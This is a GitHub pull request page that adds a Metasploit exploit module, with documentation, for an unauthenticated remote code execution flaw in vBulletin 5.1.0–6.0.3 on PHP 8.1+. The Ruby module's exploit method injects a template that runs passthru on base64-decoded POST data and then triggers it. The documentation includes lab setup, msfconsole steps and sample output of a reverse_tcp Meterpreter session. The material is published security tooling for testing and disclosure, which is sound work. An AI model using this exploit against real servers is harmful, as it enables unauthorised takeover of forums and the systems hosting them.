-
Notifications
You must be signed in to change notification settings - Fork 14.7k
vBulletin replaceAdTemplate Remote Code Execution #20235
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
dledda-r7
merged 15 commits into
rapid7:master
from
Chocapikk:vbulletin_replace_ad_template_rce
Jun 19, 2025
Merged
Changes from 1 commit
Commits
Show all changes
15 commits
Select commit
Hold shift + click to select a range
1f6dd34
vBulletin replaceAdTemplate Remote Code Execution
Chocapikk ac98c1f
Replace passthru with system
Chocapikk 1c717cf
Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Chocapikk 69426e6
Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Chocapikk f5e33ef
Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_…
Chocapikk df44d63
Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_…
Chocapikk e6aa8a3
Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_…
Chocapikk 64b9254
Remove useless command in Dockefile
Chocapikk 6644bfa
Check PHP version using X-Powered-By header
Chocapikk 387a39d
Update doc, module
Chocapikk 854d235
Fix check, both requests can display if the system is vulnerable
Chocapikk 6dc9809
Non-blocking requests when trying to exploit, since the payload can b…
Chocapikk 05d4123
Add CVE IDs
Chocapikk f053d99
Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Chocapikk 33439fc
Add verbosity, update doc
Chocapikk File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
170 changes: 170 additions & 0 deletions
170
documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,170 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This Metasploit module exploits a design flaw in vBulletin’s AJAX API handler and template | ||
| rendering system, affecting **vBulletin 5.1.0 through 6.0.3** on **PHP 8.1+**. | ||
| An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls | ||
| `passthru(base64_decode($_POST[<param>]))`, then trigger execution via the `ajax/render/ad_<location>` endpoint, | ||
| yielding arbitrary code execution as the webserver user. | ||
|
|
||
| > **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`. | ||
|
|
||
| --- | ||
|
|
||
| ## To replicate vulnerable environments | ||
|
|
||
| 1. **vBulletin 6.0.1 (tested)** | ||
|
|
||
| * Purchase and download vBulletin 6.0.1 from the official portal. | ||
| * Extract all files into `./upload/`. | ||
|
|
||
| 2. **Other versions (5.1.0–6.0.3)** | ||
|
|
||
| * Repeat the above with any of the supported versions. | ||
| * Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw. | ||
Chocapikk marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
|
||
| --- | ||
|
|
||
| ## Docker Compose Configuration | ||
|
|
||
| ```yaml | ||
| services: | ||
| db: | ||
| image: mysql:5.7 | ||
| container_name: vbulletin_db | ||
| restart: unless-stopped | ||
| environment: | ||
| MYSQL_ROOT_PASSWORD: root_password_here | ||
| MYSQL_DATABASE: vbulletin | ||
| MYSQL_USER: vbulletin | ||
| MYSQL_PASSWORD: vb_password_here | ||
| volumes: | ||
| - db_data:/var/lib/mysql | ||
|
|
||
| web: | ||
| build: . | ||
| container_name: vbulletin_web | ||
| depends_on: [db] | ||
| ports: ["8888:80"] | ||
| volumes: | ||
| - ./do_not_upload:/opt/vbulletin-tools:ro | ||
| environment: | ||
| VB_DB_HOST: db | ||
| VB_DB_NAME: vbulletin | ||
| VB_DB_USER: vbulletin | ||
| VB_DB_PASS: vb_password_here | ||
|
|
||
| volumes: | ||
| db_data: | ||
| ``` | ||
|
|
||
| Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory: | ||
|
|
||
| **Dockerfile** | ||
|
|
||
| ```dockerfile | ||
| FROM php:8.1-apache | ||
|
|
||
| COPY upload/ /var/www/html/ | ||
| COPY do_not_upload/ /opt/vbulletin-tools/ | ||
Chocapikk marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
|
|
||
| RUN apt-get update && \ | ||
| apt-get install -y --no-install-recommends \ | ||
| libzip-dev zlib1g-dev libonig-dev \ | ||
| libpng-dev libjpeg-dev libfreetype6-dev && \ | ||
| docker-php-ext-install \ | ||
| zip mysqli pdo_mysql gd mbstring && \ | ||
| a2enmod rewrite && \ | ||
| rm -rf /var/lib/apt/lists/* | ||
|
|
||
| RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini | ||
|
|
||
| COPY docker-entrypoint.sh /usr/local/bin/ | ||
| RUN chmod +x /usr/local/bin/docker-entrypoint.sh | ||
Chocapikk marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| ENTRYPOINT ["docker-entrypoint.sh"] | ||
| CMD ["apache2-foreground"] | ||
| ``` | ||
|
|
||
| **docker-entrypoint.sh** | ||
|
|
||
| ```bash | ||
| #!/bin/bash | ||
| chown -R www-data:www-data /var/www/html | ||
| exec "$@" | ||
| ``` | ||
|
|
||
| --- | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. **Start the environment** | ||
| ```bash | ||
| docker-compose up -d | ||
| ``` | ||
|
|
||
| 2. **Install vBulletin** | ||
| Browse to [http://localhost:8888](http://localhost:8888) and complete the installer: | ||
Chocapikk marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
|
|
||
| * **Database Host:** db | ||
| * **DB Name:** vbulletin | ||
| * **DB User:** vbulletin / vbpass | ||
|
|
||
| 3. **Run `msfconsole`** | ||
|
|
||
| ```bash | ||
| use exploit/multi/http/vbulletin_replace_ad_template_rce | ||
| set RHOSTS 127.0.0.1 | ||
| set RPORT 8888 | ||
| set TARGETURI / | ||
| check | ||
| ``` | ||
| * You should see: | ||
| ```bash | ||
| [*] Detected vBulletin version: 6.0.1 | ||
| [*] 127.0.0.1:8888 - The target appears to be vulnerable. vBulletin version 6.0.1 is likely vulnerable (< 6.0.4) | ||
| ``` | ||
|
|
||
| --- | ||
|
|
||
| ## Options | ||
|
|
||
| No option | ||
|
|
||
| --- | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Unauthenticated Pre-Auth RCE | ||
|
|
||
| 1. Ensure vBulletin 5.1.0–6.0.3 is installed and running on PHP 8.1+. | ||
| 2. In `msfconsole`, configure and run: | ||
|
|
||
| ```bash | ||
| set RHOSTS localhost | ||
| set RPORT 8888 | ||
| set TARGETURI / | ||
| ``` | ||
|
|
||
| --- | ||
|
|
||
| ## Expected Results | ||
|
|
||
| ### With `cmd/linux/http/x64/meterpreter/reverse_tcp` | ||
|
|
||
| ```plaintext | ||
| msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888 | ||
| [*] Started reverse TCP handler on 192.168.1.36:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] Detected vBulletin version: 6.0.1 | ||
| [+] The target appears to be vulnerable. vBulletin version 6.0.1 is likely vulnerable (< 6.0.4) | ||
| [*] Injecting RCE template at location 'MDb' with POST param 'YHp' | ||
| [*] Triggering payload execution via routestring 'ajax/render/ad_MDb' | ||
| [*] Sending stage (3045380 bytes) to 172.28.0.3 | ||
| [*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.28.0.3:45980) at 2025-05-23 22:46:22 +0200 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : 172.28.0.3 | ||
| OS : Debian 12.11 (Linux 6.14.6-2-cachyos) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| ``` | ||
131 changes: 131 additions & 0 deletions
131
modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,131 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Remote | ||
| Rank = ExcellentRanking | ||
|
|
||
| include Msf::Exploit::Remote::HttpClient | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
| include Msf::Payload::Php | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'vBulletin replaceAdTemplate Remote Code Execution', | ||
| 'Description' => %q{ | ||
| This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system, | ||
| present in versions 5.1.0 through 6.0.3. The vulnerability allows unauthenticated attackers | ||
| to invoke protected controller methods via the `ajax/api/ad/replaceAdTemplate` endpoint, | ||
| due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+. | ||
|
|
||
| Specifically, it targets the `vB_Api_Ad::replaceAdTemplate()` method to inject a template | ||
| containing a `<vb:if>` conditional that evaluates attacker-supplied PHP using the | ||
| `passthru($_POST[<param>])` construct. The malicious template is then executed via | ||
| a second unauthenticated request to `ajax/render/ad_<location>`. | ||
|
|
||
| Successful exploitation results in arbitrary command execution as the webserver user, | ||
| without authentication. This module supports payloads for PHP, Linux, and Windows. | ||
|
|
||
| Tested against vBulletin 5.1.0, 5.7.5, 6.0.1, and 6.0.3 running on PHP 8.1. | ||
| }, | ||
| 'Author' => [ | ||
| 'Egidio Romano (EgiX)', # original PoC | ||
| 'Valentin Lobstein' # Metasploit module | ||
| ], | ||
| 'References' => [ | ||
| ['URL', 'https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce'], | ||
| ], | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => %w[unix linux windows], | ||
| 'Arch' => [ARCH_PHP, ARCH_CMD], | ||
| 'Targets' => [ | ||
| [ | ||
| 'Unix/Linux Command Shell', | ||
| { | ||
| 'Platform' => %w[unix linux], | ||
| 'Arch' => ARCH_CMD | ||
| # tested with cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| } | ||
| ], | ||
| [ | ||
| 'Windows Command Shell', | ||
| { | ||
| 'Platform' => 'win', | ||
| 'Arch' => ARCH_CMD | ||
| # tested with cmd/windows/http/x64/meterpreter/reverse_tcp | ||
| } | ||
| ], | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'DisclosureDate' => '2025-05-23', | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [IOC_IN_LOGS] | ||
| } | ||
| ) | ||
| ) | ||
| end | ||
|
|
||
| def check | ||
| res = send_request_cgi( | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path) | ||
| ) | ||
| return CheckCode::Unknown('Failed to retrieve page content') unless res&.code == 200 | ||
|
|
||
| doc = res.get_html_document | ||
|
|
||
| meta = doc.at_xpath('//meta[@name="generator"]/@content') | ||
| return CheckCode::Safe('vBulletin not detected') unless meta | ||
|
|
||
| content = meta.value | ||
| version = content[/vBulletin\s+([\d.]+)/i, 1] | ||
| return CheckCode::Safe('vBulletin not detected') unless version | ||
|
|
||
| print_status("Detected vBulletin version: #{version}") | ||
| v = Rex::Version.new(version) | ||
|
|
||
| if v < Rex::Version.new('6.0.4') | ||
| CheckCode::Appears("vBulletin version #{v} is likely vulnerable (< 6.0.4)") | ||
| else | ||
| CheckCode::Safe("vBulletin version #{v} is likely patched (>= 6.0.4)") | ||
| end | ||
| end | ||
|
|
||
| def exploit | ||
| loc = Rex::Text.rand_text_alpha(3, 8) | ||
| param = Rex::Text.rand_text_alpha(3, 8) | ||
|
|
||
| post_data = { | ||
| 'routestring' => 'ajax/api/ad/replaceAdTemplate', | ||
| 'styleid' => '1', # Can't randomize this value | ||
| 'location' => loc, | ||
| 'template' => "<vb:if condition='\"passthru\"(\"base64_decode\"(\$_POST[\"#{param}\"]))'></vb:if>" # Sadly we can't use eval() here | ||
Chocapikk marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| } | ||
|
|
||
| print_status("Injecting RCE template at location '#{loc}' with POST param '#{param}'") | ||
Chocapikk marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| res = send_request_cgi( | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path), | ||
| 'vars_post' => post_data | ||
| ) | ||
|
|
||
| unless res&.body&.strip == 'null' | ||
| fail_with(Failure::UnexpectedReply, 'Failed to create RCE template (expected "null")') | ||
| end | ||
|
|
||
| print_status("Triggering payload execution via routestring 'ajax/render/ad_#{loc}'") | ||
| send_request_cgi( | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path), | ||
| 'vars_post' => { | ||
| 'routestring' => "ajax/render/ad_#{loc}", | ||
| param => Rex::Text.encode_base64(payload.encoded) | ||
| } | ||
| ) | ||
| end | ||
| end | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.